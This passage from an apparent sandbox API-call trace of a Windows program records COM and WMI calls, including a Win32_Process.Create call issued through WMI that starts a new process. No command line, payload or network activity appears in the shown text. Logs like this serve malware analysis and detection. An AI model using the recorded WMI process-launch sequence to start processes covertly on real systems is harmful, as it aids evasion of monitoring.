0x80004002 [0085.714] IUnknown:AddRef (This=0x1bef3970) returned 0x3 [0085.714] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0085.714] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0085.714] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef3978) returned 0x0 [0085.714] IMarshal:GetUnmarshalClass (in: This=0x1bef3978, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0085.714] IUnknown:Release (This=0x1bef3978) returned 0x3 [0085.714] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0085.714] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0085.714] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0085.714] IUnknown:Release (This=0x1bef3970) returned 0x2 [0085.714] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0085.714] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0085.715] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0085.715] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0085.715] IUnknown:QueryInterface (in: This=0x1bef3970, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0085.715] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0085.715] IUnknown:AddRef (This=0x1bef3970) returned 0x3 [0085.715] IWbemClassObject:Put (This=0x1bf44df0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef3970, varVal2=0x0), Type=0) returned 0x0 [0085.715] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b1c0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0085.715] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0085.715] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0085.715] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0085.715] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0085.715] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0085.715] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0085.715] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0085.716] IWbemServices:ExecMethod (in: This=0x11c7440, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf44df0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf450a0, ppCallResult=0x0) returned 0x0 [0086.030] IWbemClassObject:Get (in: This=0x1bf450a0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2953720*=0, plFlavor=0x2953724*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x738, varVal2=0x0), pType=0x2953720*=19, plFlavor=0x2953724*=0) returned 0x0 [0086.031] IWbemClassObject:Get (in: This=0x1bf450a0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2953720*=19, plFlavor=0x2953724*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x738, varVal2=0x0), pType=0x2953720*=19, plFlavor=0x2953724*=0) returned 0x0 [0086.032] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0086.032] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0086.032] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0086.032] IUnknown:Release (This=0x111f638) returned 0x1 [0086.034] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf11560) returned 0x0 [0086.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11560, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0086.035] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11560, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3ac80) returned 0x0 [0086.035] WbemDefPath:IUnknown:Release (This=0x1bf11560) returned 0x0 [0086.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3ac80) returned 0x0 [0086.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0086.035] WbemDefPath:IUnknown:AddRef (This=0x1bf3ac80) returned 0x3 [0086.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0086.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0086.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf11600) returned 0x0 [0086.035] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11600, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.035] WbemDefPath:IUnknown:Release (This=0x1bf11600) returned 0x3 [0086.035] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0086.036] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0086.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0086.036] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x2 [0086.036] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x1 [0086.036] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0086.036] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0086.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ac80, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3ac80) returned 0x0 [0086.036] WbemDefPath:IUnknown:AddRef (This=0x1bf3ac80) returned 0x3 [0086.036] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x2 [0086.036] WbemDefPath:IWbemPath:SetText (This=0x1bf3ac80, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0086.036] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ac80, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0086.036] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ac80, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0086.036] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ac80, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0086.036] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3ac80, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0086.036] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ac80, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0086.036] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3ac80, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0086.037] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0086.037] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0086.037] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0086.037] IUnknown:Release (This=0x111f638) returned 0x1 [0086.039] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf11640) returned 0x0 [0086.039] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11640, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0086.039] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11640, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3abc0) returned 0x0 [0086.039] WbemDefPath:IUnknown:Release (This=0x1bf11640) returned 0x0 [0086.039] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3abc0) returned 0x0 [0086.039] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0086.040] WbemDefPath:IUnknown:AddRef (This=0x1bf3abc0) returned 0x3 [0086.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0086.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0086.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf11540) returned 0x0 [0086.040] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11540, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.040] WbemDefPath:IUnknown:Release (This=0x1bf11540) returned 0x3 [0086.040] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0086.040] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0086.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0086.040] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x2 [0086.040] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x1 [0086.040] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0086.040] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0086.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3abc0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3abc0) returned 0x0 [0086.041] WbemDefPath:IUnknown:AddRef (This=0x1bf3abc0) returned 0x3 [0086.041] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x2 [0086.041] WbemDefPath:IWbemPath:SetText (This=0x1bf3abc0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3abc0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3abc0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3abc0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3abc0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3abc0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0086.041] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.041] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0086.041] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0086.041] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0086.041] IUnknown:Release (This=0x111f638) returned 0x1 [0086.043] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf115c0) returned 0x0 [0086.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf115c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0086.044] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf115c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf3ab00) returned 0x0 [0086.044] WbemDefPath:IUnknown:Release (This=0x1bf115c0) returned 0x0 [0086.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf3ab00) returned 0x0 [0086.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0086.044] WbemDefPath:IUnknown:AddRef (This=0x1bf3ab00) returned 0x3 [0086.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0086.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0086.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf10e60) returned 0x0 [0086.044] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf10e60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, 